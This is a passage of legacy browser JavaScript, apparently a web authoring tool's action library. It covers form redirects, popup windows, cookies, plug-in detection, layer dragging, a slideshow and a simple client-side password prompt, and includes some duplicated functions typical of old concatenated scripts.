elements[userField].value = elements[userField].value.toLowerCase();

}

}

if (checkBox == "no") {

	with (document.forms[thisForm]) {

	if (elements[keyField].value == "") {

	alert("Please enter a value for the\n\"" + keyField + "\" field before submitting.")

	}

	else {

	window.location = thisDir + elements[keyField].value + thisExt + "?" + elements[userField].value

	}

	}

}

else {

	with (document.forms[thisForm]) {

	var whichAlert = 0

	if (elements[keyField].value == "") {

	whichAlert += 1

	}

	if (elements[userField].value == "") {

	whichAlert += 2

	}

	if (whichAlert == 1) {

	alert ("Please enter a value for the\n\"" + keyField + "\" field before submitting.")

	}

	if (whichAlert == 2) {

	alert ("Please enter a value for the\n\"" + userField + "\" field before submitting.")

	}

	if (whichAlert == 3) {

	alert ("Please enter a value for the\n\"" + keyField + "\" and \"" + userField + "\" fields\n before submitting.")

	}

	if (whichAlert < 1 || whichAlert > 3) {

	window.location = thisDir + elements[userField].value + "/" + elements[keyField].value + thisExt + "?" + elements[userField].value

	}

	}

}

}

function CSPAKkillframe() { 

if (self.parent.frames.length != 0)

self.parent.location = document.location

}

function CSHistoryGo(action) { history.go(action[1]); }

// Version 1.1. A Michael Ahgren action.

function CSRemoveIEbox(){

if (document.images&&navigator.userAgent.indexOf("MSIE")!=-1){

	for(i=0;i<document.links.length;i++){

		target=eval("document.links[i]")

		target.onfocus=blurHandler

		}

	}

}

function blurHandler(){

obj=window.event.srcElement

if(obj.tagName == "A"||obj.tagName=="AREA") obj.blur()

}

function CSOpenWindowPrompt(action) {

var where = self.location.href

var nw = prompt("Enter a new width:","")

if (nw != null) {

var nh = prompt("Enter a new height:","")

}

var wf = "";	

wf = wf + "width=" + nw;

wf = wf + ",height=" + nh;

wf = wf + ",resizable=" + (action[1] ? "yes" : "no");

wf = wf + ",scrollbars=" + (action[2] ? "yes" : "no");

wf = wf + ",menubar=" + (action[3] ? "yes" : "no");

wf = wf + ",toolbar=" + (action[4] ? "yes" : "no");

wf = wf + ",directories=" + (action[5] ? "yes" : "no");

wf = wf + ",location=" + (action[6] ? "yes" : "no");

wf = wf + ",status=" + (action[7] ? "yes" : "no");		

	if (nw == null || nh == null) { 

	return null

	} else {

	window.open(where,'testwin',wf);

	}

}

function CSOpenWindow(action) {

	var wf = "";	

	wf = wf + "width=" + action[3];

	wf = wf + ",height=" + action[4];

	wf = wf + ",resizable=" + (action[5] ? "yes" : "no");

	wf = wf + ",scrollbars=" + (action[6] ? "yes" : "no");

	wf = wf + ",menubar=" + (action[7] ? "yes" : "no");

	wf = wf + ",toolbar=" + (action[8] ? "yes" : "no");

	wf = wf + ",directories=" + (action[9] ? "yes" : "no");

	wf = wf + ",location=" + (action[10] ? "yes" : "no");

	wf = wf + ",status=" + (action[11] ? "yes" : "no");		

	window.open(action[1],action[2],wf);

}

function CSPDFredirect(action) {    

    if(navigator.mimeTypes && navigator.mimeTypes["application/pdf"] && navigator.mimeTypes["application/pdf"].enabledPlugin) {

		location.href=action[1]

	}

    else if (navigator.appName == "Microsoft Internet Explorer") {

       	x = confirm("The page you are trying to view requires the Adobe Portable Document Format (.PDF) browser plug-in or the Adobe Acrobat Reader application. We could not detect if your browser has this plug-in installed. To attempt to view the page anyway, click OK. Otherwise click CANCEL to view an alternate page")

		if (x == true)  location.href=action[1] 

    }

	else {

		x = confirm("Your browser may not be able to display PDF files. To attempt to view the PDF page anyway, click OK. Otherwise click CANCEL to view an alternate page")

		if (x == true)  location.href=action[1] 

	}         

}

function CSRandomLinks(action){

var urlcounter = 0;

if (action[2] != "(Empty Reference!)" && action[2] != "(EmptyReference!)") { ++urlcounter};

if (action[3] != "(Empty Reference!)" && action[3] != "(EmptyReference!)") { ++urlcounter};

if (action[4] != "(Empty Reference!)" && action[4] != "(EmptyReference!)") { ++urlcounter};

if (action[5] != "(Empty Reference!)" && action[5] != "(EmptyReference!)") { ++urlcounter};

if (action[6] != "(Empty Reference!)" && action[6] != "(EmptyReference!)") { ++urlcounter};

if (action[7] != "(Empty Reference!)" && action[7] != "(EmptyReference!)") { ++urlcounter};

if (parent.frames.length > 0) {

if (action[1].length > 0) { parent.frames[action[1]].location=action[Math.floor(Math.random()*urlcounter)+2] }

}

else 

if (action[1].length > 0) { window.open(action[Math.floor(Math.random()*urlcounter)+2],action[1],"") }	

if (action[1].length == 0) { top.location=action[Math.floor(Math.random()*urlcounter)+2] }

}

function getCookie(thecookie){

	tempString= thecookie + "=";

	if(document.cookie.length>0){

		start = document.cookie.indexOf(tempString);

		if(start!=-1){

			end = document.cookie.indexOf(";",start);

			if(end==-1){end=document.cookie.length;}

			start += tempString.length;

			return unescape(document.cookie.substring(start,end))

		}

	}

}

function setCookie(thecookie,value,expire){

	cookieExpires = new Date

	cookieExpires.setMonth(cookieExpires.getMonth() + 6)

	document.cookie = thecookie + "=" + escape(value) + ";expires=" + cookieExpires.toGMTString();

}

function testCookie(thecookie){

	if(getCookie(thecookie)){

		return(getCookie(thecookie));

	}else{

		return false;

	}

}

function CSredPrompt(action) {

	var thecookie = action[5]

	if(testCookie(action[5]) && action[4] == true){	

			location.href=getCookie(action[5]);

	} else {

	var x = 0;

	}

	

	function kill() {

	alert(action[3]);

	x = 1;

	var enter = prompt(action[1],action[2]); 

	if (enter == action[6]){setCookie(action[5], action[7]);location.href=action[7];}

	else if (enter == action[8]){setCookie(action[5], action[9]);location.href=action[9];}

	else if (enter == action[10]){setCookie(action[5], action[11]);location.href=action[11];}

	else if (enter == action[12]){setCookie(action[5], action[13]);location.href=action[13];}

	else if (enter == action[15]){setCookie(action[5], action[16]);location.href=action[16];}

	else if (enter == action[2]){kill();}

	else if (enter == null) return

	else  kill()

	}

	if (x == 0) {

	var enter = prompt(action[1],action[2]); 

	if (enter == action[6]){setCookie(action[5], action[7]);location.href=action[7];}

	else if (enter == action[8]){setCookie(action[5], action[9]);location.href=action[9];}

	else if (enter == action[10]){setCookie(action[5], action[11]);location.href=action[11];}

	else if (enter == action[12]){setCookie(action[5], action[13]);location.href=action[13];}

	else if (enter == action[14]){setCookie(action[5], action[15]);location.href=action[15];}

	else if (enter == action[2]){kill();}

	else if (enter == null) return

	else  kill()

	}

}

// OUT Redirect URL Action 1.1

// Script copyright 1999, OUT Media Design GmbH. All rights reserved.

var OUTredirTimeoutID = 0;

function OUTredirectURL(action) {

	if (action[2]) {

		clearTimeout(OUTredirTimeoutID);

		OUTredirTimeoutID = setTimeout('window.location.href="'+action[1]+'"',action[2])

	} else

		window.location.href = action[1];

	return true;

}

function getCookie(thecookie){

	tempString= thecookie + "=";

	if(document.cookie.length>0){

		start = document.cookie.indexOf(tempString);

		if(start!=-1){

			end = document.cookie.indexOf(";",start);

			if(end=-1){end=document.cookie.length;}

			start += tempString.length;

			return unescape(document.cookie.substring(start,end))

		}

	}

}

function setCookie(thecookie,value,expire){

	cookieExpires = new Date

	cookieExpires.setMonth(cookieExpires.getMonth() + 6)

	document.cookie = thecookie + "=" + escape(value) + ";expires=" + cookieExpires.toGMTString();

}

function testCookie(thecookie){

	if(getCookie(thecookie)){

		return(getCookie(thecookie));

	}else{

		return false;

	}

}

function CSredPrompt(action) {

	var thecookie = action[5]

	if(testCookie(action[5]) && action[4] == true){	

			location.href=getCookie(action[5]);

	} else {

	var x = 0;

	}

	

	function kill() {

	alert(action[3]);

	x = 1;

	var enter = prompt(action[1],action[2]); 

	if (enter == action[6]){setCookie(action[5], action[7]);location.href=action[7];}

	else if (enter == action[8]){setCookie(action[5], action[9]);location.href=action[9];}

	else if (enter == action[10]){setCookie(action[5], action[11]);location.href=action[11];}

	else if (enter == action[12]){setCookie(action[5], action[13]);location.href=action[13];}

	else if (enter == action[15]){setCookie(action[5], action[16]);location.href=action[16];}

	else if (enter == action[2]){kill();}

	else if (enter == null) return

	else  kill()

	}

	if (x == 0) {

	var enter = prompt(action[1],action[2]); 

	if (enter == action[6]){setCookie(action[5], action[7]);location.href=action[7];}

	else if (enter == action[8]){setCookie(action[5], action[9]);location.href=action[9];}

	else if (enter == action[10]){setCookie(action[5], action[11]);location.href=action[11];}

	else if (enter == action[12]){setCookie(action[5], action[13]);location.href=action[13];}

	else if (enter == action[15]){setCookie(action[5], action[16]);location.href=action[16];}

	else if (enter == action[2]){kill();}

	else if (enter == null) return

	else  kill()

	}

}

/*

 * ver. 19980824 copyright 1998 terry chay

 * 		bugs? email: <mailto:chay@uiuc.edu>

 */

function TCReplacePage(action) {

	var hasFrame=true;

	var target=window;

	if (action[2].length) {

		hasFrame=false;

		target=parent.frames[action[2]];

		for(i=0;i<parent.frames.length;i++) {

			if (parent.frames[i].name==action[2]) {hasFrame=true;break;}

		}

	}

	if (hasFrame) {

		var replaceObjDetect = false;

		if ((navigator.appName.indexOf("Microsoft")>=0) &&

			 (navigator.userAgent.indexOf("Mac")>=0)) {

			if (navigator.appVersion.charAt(0)=="4") { replaceObjDetect = true; }

		} else {

			if (location.replace) { replaceObjDetect = true; }

		}

		if (replaceObjDetect) {

			target.location.replace(action[1]);

		} else {

			if (location.href) {

				target.location.href = action[1];

			} else {

				target.location = action[1];

			} 

		}//of object detection (i.e. NN2, IE3)

	} else {

		var w=window.open(action[1],target,"");

		if (w.location==null) {

			if (location.href) {

				w.location.href=action[1];

			} else {

				w.location=action[1];

			}

		}

		if (w.opener==null) { w.opener=self; }

	} //of target DNE spawns new window

}

function CSSlideNewWindow(action) {

var wh = ""

if (action[7] || action[8] || action[9] == true) wh=action[4]-125

else wh = action[4]

var wf = "";	

wf = wf + "width=" + action[3];

wf = wf + ",height=" + wh;

wf = wf + ",resizable=" + (action[5] ? "yes" : "no");

wf = wf + ",scrollbars=" + (action[6] ? "yes" : "no");

wf = wf + ",menubar=" + (action[7] ? "yes" : "no");

wf = wf + ",toolbar=" + (action[8] ? "yes" : "no");

wf = wf + ",directories=" + (action[9] ? "yes" : "no");

wf = wf + ",location=" + (action[10] ? "yes" : "no");

wf = wf + ",status=" + (action[11] ? "yes" : "no");		

if(navigator.appVersion.charAt(0) >=4) {

var sw=screen.width-20;

var sh=screen.height;

var newwidth=action[3]; 

var newheight=action[4];

var positionleft=(sw-newwidth)/2;

var positiontop=""

if (action[7] || action[8] || action[9] == true) positiontop=(sh-newheight)/3;

positiontop=(sh-newheight)/2.5;

}

newwindow=window.open(action[1],action[2],wf); 

newwindow.focus()	

if(navigator.appVersion.charAt(0) >=4) {

	for(width1 = 1 ; width1 < positionleft ; width1 = width1 + 10)

	newwindow.moveTo(width1,positiontop)

	}

}

function CSSVGredirect(action){   

	 if(navigator.mimeTypes && navigator.mimeTypes["image/svg-xml"] && navigator.mimeTypes["image/svg-xml"].enabledPlugin ) {

		location.href=action[1]

	}

	 else if (navigator.appName == "Microsoft Internet Explorer") {

       	x = confirm("The page you are trying to view requires the Adobe Scaling Vector Graphics (.SVG) browser plug-in. We could not detect if your browser has this plug-in installed. To attempt to view the page anyway, click OK. Otherwise click CANCEL to view an alternate page")

			if (x == true)  location.href=action[1] 

    }

	else if(action[2] == true) {

		alert(action[3])

	}         

}

		

function CSSWFredirect(action) {    

    if(navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"] && navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin) {

		location.href=action[1]

    }

   else if (navigator.appName == "Microsoft Internet Explorer") {

       	x = confirm("The page you are trying to view requires the Macromedia Flash (.SWF) browser plug-in. We could not detect if your browser has this plug-in installed. To attempt to view the page anyway, click OK. Otherwise click CANCEL to view an alternate page")

			if (x == true)  location.href=action[1] 

	}

	else if(action[2] == true) {

		alert(action[3])

	}         

}

function CSPAKtrg2frames(action) { 

	parent.frames[action[1]].location.href = action[2]

	parent.frames[action[3]].location.href = action[4]

 }

function CSPakRemote(action) { 

	if (TRversion()) {

		if (action[2].length < 1) {

			opener.location.href=action[1];

		}

		else {

			opener.parent.frames[action[2]].location.href=action[1];

		}

	}

	return;

}

function TRversion() {

	return (navigator.appName.indexOf("Netscape") >= 0 && parseInt(navigator.appVersion.charAt(0)) >= 3)

          || (navigator.appName.indexOf("Explorer") >= 0 && parseInt(navigator.appVersion.charAt(0)) >= 3);

}

function CStextswapID(action) {

(action[2] != "") ? (updateobject = action[2]) : (updateobject = action[1]);

(action[5] == true) ? (whichfunction = "disappear()") : (whichfunction = "revert()");

if(document.all) { originaltext = document.all(updateobject).innerHTML };

if(document.getElementById) { originaltext = document.getElementById(updateobject).innerHTML};

timeout = (action[4] != "") ? (action[4] * 1000) : 0;

if(document.getElementById) { originaltext = document.getElementById(updateobject).innerHTML};

timeout = (action[4] != "") ? (action[4] * 1000) : 0;

if (document.all)	 {  document.all(updateobject).innerHTML = action[6] + action[3] + action[7]; if (timeout != 0)  setTimeout(whichfunction,timeout); } 

	else { 	if (document.getElementById) { document.getElementById(updateobject).innerHTML = action[6] + action[3] + action[7];

			if (timeout != 0)   setTimeout(whichfunction,timeout)  }

		}

}

function disappear() {  if (document.all) { document.all(updateobject).innerHTML = "<div id=updateobject></div>" } 

	else { if (document.getElementById) { document.getElementById(updateobject).innerHTML = "" }

	}

}

function revert() { if (document.all) { document.all(updateobject).innerHTML = originaltext } 

	else { if (document.getElementById) { document.getElementById(updateobject).innerHTML = originaltext }

	}

}

function timeRedirect(action) {

var now = new Date();

var hours = now.getHours();

var timeValue = action[1];

if (timeValue >= 12) { timeValue = timeValue - 12; } // deals with 24-hour time

if (action[2] == true) { timeValue += 12; } // deals with PM times

if (hours < timeValue && action[4] != "(Empty Reference!)" && action[4] != "(EmptyReference!)" && action[3] == true) {

window.location = action[4]; }

if (hours >= timeValue && action[6] != "(Empty Reference!)" && action[6] != "(EmptyReference!)" && action[5] == true) {

window.location = action[6]; }

}

// A Michael Ahgren action - copyright 2002 WindowInnerSize 1.1

function CSWindowInnerSizeInit(action){

if (navigator.userAgent.indexOf("Opera")==-1){

var xCorr=0

var yCorr=0

if(navigator.userAgent.indexOf("Mozilla/4")!=-1&&navigator.userAgent.indexOf("Mac")!=-1){

xCorr=-15

yCorr=-30

}

if (action[3]){

maxSizeWindow(action)

}else{

	if (document.all ){

	top.window.resizeTo(screen.availWidth,screen.availHeight);

	var xChrome=screen.availWidth-document.body.clientWidth

	var yChrome=screen.availHeight-document.body.clientHeight

	changeX=action[4]-document.body.clientWidth

	changeY=action[5]-document.body.clientHeight

	top.window.resizeBy(changeX,changeY) 

}

else if ((document.layers||document.getElementById)&&!document.all){

	top.window.resizeTo(screen.availWidth,screen.availHeight);

	 top.window.innerHeight = action[5]+yCorr

 	top.window.innerWidth = action[4]+xCorr

}

if (action[6]){

	if (document.all){

		window.moveTo(parseInt(screen.availWidth/2-(action[4]+xChrome)/2),parseInt(screen.availHeight/2-(action[5]+yChrome)/2))

	}

	else if (document.layers||(document.getElementById&&!document.all)){

		window.moveTo(parseInt(screen.availWidth/2-window.outerWidth/2),parseInt(screen.availHeight/2-window.outerHeight/2))

}

}else{

	window.moveTo(action[1],action[2])

}

}

}

function maxSizeWindow(){

window.moveTo(0,0);

if (document.all){

top.window.resizeTo(screen.availWidth,screen.availHeight);

}

else if (document.layers||document.getElementById){

if (top.window.outerHeight<screen.availHeight||top.window.outerWidth<screen.availWidth)

{

 top.window.outerHeight = screen.availHeight;

 top.window.outerWidth = screen.availWidth;

}

}

}

}

function CSDocWrite(action) { document.write(action[1]); }

function emailer(action) {

var mailStuff = "mailto:"+action[1]+"?Subject="+action[2]+"&body="+action[3];

window.location = mailStuff;

}

function CSshowdate(action) {

	form = action[1];

	elem = action[2];

	modified = new Date(document.lastModified);

	theMonth = modified.getMonth() + 1;

	theDate = modified.getDate();

	theYear = (navigator.appVersion.indexOf("3.0") != -1) ? (modified.getYear()) : (modified.getFullYear());

	theDay = modified.getDay();

	days = new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday");

	modified = new Date(document.lastModified);

	today = days[theDay];

	if (action[3] == 0) todisplay = theMonth + "/" + theDate + "/" + theYear;

	if (action[3] == 1) todisplay = theDate + "/" + theMonth + "/" + theYear;

	if (action[3] == 2) todisplay = theYear + "/" + theMonth + "/" + theDate;

	if (action[3] == 3) todisplay = theYear + "/" + theDate + "/" + theMonth;

	if (action[4] == true) todisplay = today + ", " + todisplay;

	if(form != "" || elem != "") { document.forms[form].elements[elem].value = todisplay} ;

	if (action[5] == false) { alert(todisplay) } 

		}

function CSshowdateID(action) {

(action[2] != "") ? (updateobject = action[2]) : (updateobject = action[1]);

modified = new Date(document.lastModified);

theMonth = modified.getMonth() + 1;

theDate = modified.getDate();

theYear = (navigator.appVersion.indexOf("3.0") != -1) ? (modified.getYear()) : (modified.getFullYear());

theDay = modified.getDay();

days = new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday");

today = days[theDay];

if (action[3] == 0) todisplay = theMonth + "/" + theDate + "/" + theYear;

if (action[3] == 1) todisplay = theDate + "/" + theMonth + "/" + theYear;

if (action[3] == 2) todisplay = theYear + "/" + theMonth + "/" + theDate;

if (action[3] == 3) todisplay = theYear + "/" + theDate + "/" + theMonth;

if (action[4] == true) todisplay = today + ", " + todisplay;

if (document.all) { document.all(updateobject).innerHTML = action[6] + action[5] + todisplay + action[7]

	 } else {

	if (document.getElementById) { document.getElementById(updateobject).innerHTML = action[6] + action[5] + todisplay + action[7] }

	}

}

function CSOpenAlert(action) { alert(action[1]); }

var actn1 = "";

var actn2 = "";

var pass=""

var z=23;

var y=28;

iCounter = 3;

if (Array) {

	var f= new Array();

	var K= new Array();

	var base= new Array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z")

} 

function inc(){

iCounter--

if (iCounter > 0)

	{

	if (confirm("\nPassword is incorrect.\n\n\n\nRetry?"))

		Check()

	} 

	else

		alert('Access Denied');

} 

function Check(){

pass = prompt("Enter your password.","")

if(pass==null || pass==""){

	alert("You did not enter a password!");

	if(pass==""){

		Check()

	} 

} 

else{

	var lpass=(pass.length)+1

	for (l=1; l<lpass; l++){

		K[l]=pass.charAt(l)

	} 

	var transmit=0;

	for (y=1; y<lpass; y++){

		for(x=0; x<62; x++){

			if (K[y]==base[x]){

				transmit+=f[x]

				transmit*=y

			} 

		} 

	} 

	if (transmit==parseInt(actn1)) 	

		go()

	else

		inc()

} 

} 

function go(){

alert(actn2);

location.href=pass+".html";

} 

function PVpassword(action) { 

if (Array) { 

	actn1 = action[1];

	actn2 = action[2];

	z=23;

	y=28;

	for (x=0; x<10; x++){

		f[x]=x<<9

		f[x]+=23

	} 

	for (x=10; x<36; x++){

		y=y<<1

		v= Math.sqrt(y)

		v = parseInt(v,16)

		v+=5

		f[x]=v

		y++

	} 

	for (x=36; x<62; x++){

		z=z<<1

		v= Math.sqrt(z)

		v = parseInt(v,16)

		v+=74

		f[x]=v

		z++

	} 

	iCounter = 3;

	Check();

} 

}

function CSSetStatus(action) { self.status = action[1]; }

var gCSIEDragObject = null;

var gDragX,gDragY;

function CSSetupDrag (layerName) {

	this.x = 0; this.y = 0;

	if (IsIE()) {

		this.canDrag=true; 

		this.layerObj=document.all.tags("div")[layerName];

		this.layerObj.dragObj = this;

		document.ondragstart = CSIEStartDrag;

		document.onmousedown = CSIEMouseDown;

		document.onmouseup = CSIEStopDrag;

	} else {

		if (CSBVers>=5)

			{

			this.layerObj=document.getElementById(layerName);

			this.layerObj.addEventListener("mousedown", CSNS6StartDrag, true);

			this.layerObj.addEventListener("mouseup", CSNS6StopDrag, true);

			}

		else

			{

			this.layer=CSNSStyl(layerName);this.onmousemove=null; 

			this.layer.document.theLayer=this;

			this.layer.document.captureEvents(Event.MOUSEDOWN);

			this.layer.document.onmousedown=CSNSStartDrag; 

			this.layer.document.onmouseup=CSNSStopDrag;

			}

	}

}

function CSNS6StartDrag (ev) {

	CSIDOM();

	ev.currentTarget.addEventListener("mousemove", CSNS6DoDrag, true);

	gDragX=ev.clientX;

	gDragY=ev.clientY;

	ev.preventDefault();

}

function CSNS6DoDrag (ev) {

	var style=ev.currentTarget.style;

	style.left = parseInt(style.left)+(ev.clientX-gDragX)+"px";

	style.top = parseInt(style.top)+(ev.clientY-gDragY)+"px";

	gDragX=ev.clientX;

	gDragY=ev.clientY;

}

function CSNS6StopDrag (ev) {	

	ev.target.removeEventListener("mousedown", CSNS6StartDrag, true);

	ev.target.removeEventListener("mouseup", CSNS6StopDrag, true);

	ev.currentTarget.removeEventListener("mousemove", CSNS6DoDrag, true);

	ev.preventDefault();

}

function CSNSStartDrag (ev) {

	var clickInMe = false;

	if (ev.target != this) {

		for (var i=0;i<this.images.length;i++) {

			if (this.images[i] == ev.target) { clickInMe = true; break;}

			}

		}

	else clickInMe = true;	

	if (clickInMe)

		{

		this.captureEvents(Event.MOUSEMOVE|Event.MOUSEUP); 

		this.onmousemove=CSNSDoDrag;

		this.theLayer.x= ev.pageX;

		this.theLayer.y= ev.pageY;

		this.routeEvent(ev);

		return false;

		}

   this.onmousemove=null;this.releaseEvents(Event.MOUSEMOVE|Event.MOUSEUP);

	this.routeEvent(ev);

   return true; 

}

function CSNSStopDrag (ev) {

   this.onmousemove=null;this.releaseEvents(Event.MOUSEMOVE|Event.MOUSEUP);return false; 

}

function CSNSDoDrag (ev) {

	this.theLayer.layer.moveBy(ev.pageX-this.theLayer.x, ev.pageY-this.theLayer.y); 

	this.theLayer.x = ev.pageX; 

	this.theLayer.y = ev.pageY;

	this.routeEvent(ev);

}

function CSIEStartDrag () {

	if(gCSIEDragObject != null && (gCSIEDragObject.tagName==event.srcElement.tagName))

		event.returnValue=false;  

}

function CSIEStopDrag () { gCSIEDragObject=null; document.onmousemove=null; }

function CSIEMouseDown () {

	if(event.button==1) {

		dragLayer = event.srcElement;

		while (dragLayer!=null) 

			{

			if ((dragLayer.dragObj == null) && (dragLayer.tagName == "DIV"))

				break;

			if (dragLayer.dragObj != null)

				break;

			dragLayer=dragLayer.parentElement;

			}

			

		if (dragLayer == null) return;

		if (dragLayer.dragObj!=null && dragLayer.dragObj.canDrag) {

			gCSIEDragObject = dragLayer;

			gCSIEDragObject.dragObj.x=event.clientX;

			gCSIEDragObject.dragObj.y=event.clientY;

			document.onmousemove = CSIEMouseMove;

		}

	}

}

function CSIEMouseMove () {

	gCSIEDragObject.dragObj.layerObj.style.pixelLeft+=(event.clientX-gCSIEDragObject.dragObj.x);

	gCSIEDragObject.dragObj.layerObj.style.pixelTop+=(event.clientY-gCSIEDragObject.dragObj.y);

	gCSIEDragObject.dragObj.x=event.clientX;

	gCSIEDragObject.dragObj.y=event.clientY;

	event.returnValue = false;

	event.cancelBubble = true;

}

var gDragArray = new Array();

function CSDrag(action) { gDragArray[gDragArray.length] = new CSSetupDrag(action[1]); }

function CSFlipMove(action) {

	if (action[1] == '') return;

	var curX = CSGetStylePos(action[1],0); var curY = CSGetStylePos(action[1],1);

	var x1 = action[2][0];

	var y1 = action[2][1];

	if ((x1 != curX) || (y1 != curY)) CSSlideLayer(action[1],action[2],action[4],action[5]);

	else CSSlideLayer(action[1],action[3],action[4],action[5]);

}

if (navigator.appName == "Netscape" && navigator.appVersion.charAt(0) >=5) {

	leftH = ".left";

	topV = ".top";

	nndoc = "document.getElementById(layername).style";

	iestyle = "";

	offsetH = "window.pageXOffset";

	offsetV = "window.pageYOffset";

	} 

	

	else if (navigator.appName == "Netscape" && navigator.appVersion.charAt(0) >=4) {

	leftH = ".left";

	topV = ".top";

	nndoc = "document.";

	iestyle = "";

	offsetH = "window.pageXOffset";

	offsetV = "window.pageYOffset";	

	} 

	

	else if (navigator.appName == "Microsoft Internet Explorer") {

	leftH = ".pixelLeft";

	topV = ".pixelTop";

	nndoc = "";

	iestyle = "document.getElementById(layername).style";

	offsetH = "document.body.scrollLeft";

	offsetV = "document.body.scrollTop";

	}

function getnewPos() {

var currentH = eval(offsetH);

var currentV = eval(offsetV);

x = parseInt(currentH) + parseInt(xpos);

y = parseInt(currentV) + parseInt(ypos);

moveLayer();

setTimeout("getnewPos()",10)

}

function CSFloatLayer(action) {

layername = action[1];

ypos = action[2];

xpos = action[3];

if (navigator.appVersion.charAt(0) >=5 || navigator.appName == "Microsoft Internet Explorer") {

	leftPos = eval(nndoc + iestyle + leftH);

	topPos = eval(nndoc + iestyle + topV);

	} else {

	leftPos = eval(nndoc + layername + iestyle + leftH);

	topPos = eval(nndoc + layername + iestyle + topV);

	}

	getnewPos()

	}

function moveLayer() {

if (navigator.appVersion.charAt(0) >=5  || navigator.appName == "Microsoft Internet Explorer") {

	eval(nndoc + iestyle + topV + "=" + y);

	eval(nndoc + iestyle + leftH + "=" + x);

	} else {

	eval(nndoc + layername + iestyle + topV + "=" + y);

	eval(nndoc + layername + iestyle + leftH + "=" + x);

	}

}

var myLayer = false;

var offSetX = 1;

var offSetY = 1;

function CSMouseFollow(action,offX,offY){

	myLayer = action[1];

	if(offX){offSetX=offX;}

	if(offY){offSetY=offY;}

	if (navigator.appName == "Netscape") {

		document.captureEvents(Event.MOUSEMOVE);

	} else {

		if(navigator.appVersion.indexOf("Mac")!=-1){offSetX=offSetX-18;}

	}

	document.onmousemove = mouseLayer;

}

function mouseLayer(e){

	if (navigator.appName == "Netscape" && navigator.appVersion.charAt(0) >=5) {

		document.getElementById(myLayer).style.left = (e.pageX+offSetX);

		document.getElementById(myLayer).style.top = (e.pageY+offSetY); 

		}

		else if (navigator.appName == "Netscape") {

			document.layers[myLayer].moveBy(

			(e.pageX+offSetX) - document.layers[myLayer].left, 

			(e.pageY+offSetY) - document.layers[myLayer].top);

	   		 return true; 

		} else {

		document.all[myLayer].style.pixelLeft = (event.x+offSetX);

		document.all[myLayer].style.pixelTop = (event.y+offSetY);

		event.cancelBubble = true;

		event.returnValue = false;

	}

}

function CSMoveBy(action)

{

	x = CSGetStylePos(action[1], 0);

	y = CSGetStylePos(action[1], 1);

	x += parseInt(action[2]);

	y += parseInt(action[3]);

	x = CSSetStylePos(action[1], 0, x);

	y = CSSetStylePos(action[1], 1, y);

}

function CSMoveTo(action) { CSSlideLayer(action[1],action[2],action[3],action[4]); }

function CSPlayScene(action) { CSStartSeq (action[1]); }

var CSLastSound = null

function CSPlaySound(action) {

	if (eval('document.'+action[1])!=null) {

		if (CSLastSound != null && CSLastSound != action[1]) eval ('document.' + CSLastSound + '.stop()');

		CSLastSound = action[1]

		if (window.navigator.userAgent.indexOf("MSIE") > 0) eval ('document.' + CSLastSound + '.run()');

		else eval ('document.' + CSLastSound + '.play(true)');

	} else { alert ("The current Plug-In cannot be controlled by JavaScript. Please try using LiveAudio or a compatible Plug-In!"); }

}

function CSShowHide(action) {

	if (action[1] == '') return;

	var type=action[2];

	if(type==0) CSSetStyleVis(action[1],0);

	else if(type==1) CSSetStyleVis(action[1],1);

	else if(type==2) { 

		if (CSGetStyleVis(action[1]) == 0) CSSetStyleVis(action[1],1);

		else CSSetStyleVis(action[1],0);

	}

}

function CSShowOneHideMany(action) {

	if (action[2]) { CSSetStyleVis(action[3],0); }

	if (action[4]) { CSSetStyleVis(action[5],0); }

	if (action[6]) { CSSetStyleVis(action[7],0); }

	if (action[8]) { CSSetStyleVis(action[9],0); }

	if (action[10]) { CSSetStyleVis(action[11],0); }

	if (action[12]) { CSSetStyleVis(action[13],0); }

	if (action[14]) { CSSetStyleVis(action[15],0); }

	if (action[16]) { CSSetStyleVis(action[17],0); }

	if (action[18]) { CSSetStyleVis(action[19],0); }

	if (action[20]) { CSSetStyleVis(action[21],0); }

	if (action[22]) { CSSetStyleVis(action[23],0); }

	if (action[24]) { CSSetStyleVis(action[25],0); }

	if (action[26]) { CSSetStyleVis(action[27],0); }

	if (action[28]) { CSSetStyleVis(action[29],0); }

	if (action[30]) { CSSetStyleVis(action[31],0); }

CSSetStyleVis(action[1],1);

}

SSnumimg=1; SSsens2=-1;SSsens3=-1

function CSSlideShow(action) 

{

SSmax=action[2]

SSimgNom=action[1]

SSloop=action[4]

SSsens=action[3] 

SSpalin=action[5]

var SSimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSimg = CSFindElement(SSimgNom,0);

		else SSimg = document.images[SSimgNom];

SSstr=SSimg.src

SSn=SSstr.length

SSp=SSn-6

SSpstr=SSstr.substring(0,SSp)

SSnimg=SSstr.substring(SSp,SSp+2)

SSformat=SSstr.substring(SSp+2,SSn)

if (SSformat==".jpg" || SSformat==".JPG" || SSformat==".gif" || SSformat==".GIF")

{}

else

{

 alert("Image extension must be .jpg or .gif (case sensitive). Images must be numbered 01, 02 ...")

}

slide(SSmax,SSformat,SSpstr,SSnimg,SSimgNom,SSloop,SSpalin)

}

}

function slide(SSmax,SSformat,SSpstr,SSnimg,SSimgNom,SSloop,SSpalin)

{

if (SSsens2==true) {SSsens=true}

if (SSsens2==false) {SSsens=false}

if (SSsens==true) 

{

SSsuite=SSnumimg-1

	if (SSnumimg>SSmax)SSsuite=SSmax

	if (SSnumimg<=1 & SSloop==true & SSpalin!=true) { SSsuite=SSmax }

	if (SSnumimg<=1 & SSloop==true & SSpalin==true) { 

		if (SSsens2==-1 & SSsens3==-1) {SSsuite=SSmax;SSsens3=1} else { SSsuite=SSnumimg+1; SSsens2=false }}

	if (SSnumimg<=1 & SSloop!=true & SSpalin!=true) {

		if  (SSsens2==-1 & SSsens3==-1) { SSsuite=SSmax;SSsens3=1 } else {SSsuite=SSnumimg; SSfini()}}

}

else

{

SSmax=SSmax-1

SSsuite=SSnumimg+1

	if (SSnumimg>SSmax & SSloop==true & SSpalin!=true) { SSsuite=1}

